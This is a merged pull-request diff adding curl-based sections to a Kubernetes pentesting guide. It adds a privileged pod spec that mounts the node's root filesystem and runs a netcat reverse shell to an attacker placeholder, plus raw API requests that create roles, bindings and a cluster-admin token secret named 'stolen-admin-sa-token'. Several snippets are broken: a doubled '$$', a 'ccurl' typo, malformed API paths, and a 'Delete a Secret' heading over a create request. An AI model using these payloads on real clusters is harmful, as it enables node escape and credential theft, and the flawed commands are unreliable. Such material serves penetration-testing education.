Merge pull request #142 from VL4DYSL4V/VL4DYSL4V-create-and-delete-k8s-pods-with-curl

Added scripts for creating & deleting K8s pods, SAs, Roles, RoleBindings, and Secrets with curl

Author: carlospolop

src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

@@ -535,6 +535,10 @@ k top pod --all-namespaces
 {{#endtab }}
 {{#endtabs }}
 
+## Interacting with the cluster without using kubectl
+
+Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
+
 ### Escaping from the pod
 
 If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
@@ -603,6 +607,241 @@ chroot /root /bin/bash
 
 Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
 
+### Creating a privileged pod
+
+The corresponding yaml file is as follows:
+
+```yaml
+apiVersion: v1
+kind: Pod
+metadata:
+  name: everything-allowed-exec-pod
+  labels:
+    app: pentest
+spec:
+  hostNetwork: true
+  hostPID: true
+  hostIPC: true
+  containers:
+    - name: everything-allowed-pod
+      image: alpine
+      securityContext:
+        privileged: true
+      volumeMounts:
+        - mountPath: /host
+          name: noderoot
+      command: [ "/bin/sh", "-c", "--" ]
+      args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
+  #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
+  volumes:
+    - name: noderoot
+      hostPath:
+        path: /
+```
+
+Create the pod with curl:
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+
+curl --path-as-is -i -s -k -X $'POST' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Content-Length: 478' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
+    "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a pod
+
+Delete a pod with curl:
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+POD_NAME="everything-allowed-exec-pod"
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'Content-Length: 35' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+    "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
+```
+
+### Create a Service Account
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+
+curl --path-as-is -i -s -k -X $'POST' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'Content-Type: application/json' \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Accept: application/json' \
+    -H $'Content-Length: 109' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
+    "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+
+### Delete a Service Account
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+SA_NAME=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+    "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
+```
+
+
+### Create a Role
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+
+curl --path-as-is -i -s -k -X $'POST' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'Content-Type: application/json' \
+    -H $'Accept: application/json' \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Content-Length: 203' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
+    "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+
+### Delete a Role
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+ROLE_NAME=""
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'Content-Length: 35' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+    "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
+```
+
+
+### Create a Role Binding
+
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'POST' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Content-Length: 816' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
+    "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a Role Binding
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+ROLE_BINDING_NAME=""
+
+curl --path-as-is -i -s -k -X $'DELETE' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'Content-Length: 35' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+    "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
+```
+
+### Delete a Secret
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+
+curl --path-as-is -i -s -k -X $'POST' \
+    -H "Host: $CONTROL_PLANE_HOST" \
+    -H "Authorization: Bearer $TOKEN" \
+    -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+    -H $'Accept: application/json' \
+    -H $'Content-Type: application/json' \
+    -H $'Content-Length: 219' \
+    -H $'Accept-Encoding: gzip, deflate, br' \
+    --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
+    "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
+```
+
+### Delete a Secret
+
+```bash
+CONTROL_PLANE_HOST=""
+TOKEN=""
+NAMESPACE="default"
+SECRET_NAME=""
+
+ccurl --path-as-is -i -s -k -X $'DELETE' \
+   -H "Host: $CONTROL_PLANE_HOST" \
+   -H "Authorization: Bearer $TOKEN" \
+   -H $'Content-Type: application/json' \
+   -H $'Accept: application/json' \
+   -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
+   -H $'Content-Length: 35' \
+   -H $'Accept-Encoding: gzip, deflate, br' \
+   --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
+   "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
+```
+
+
+
 ## References
 
 {{#ref}}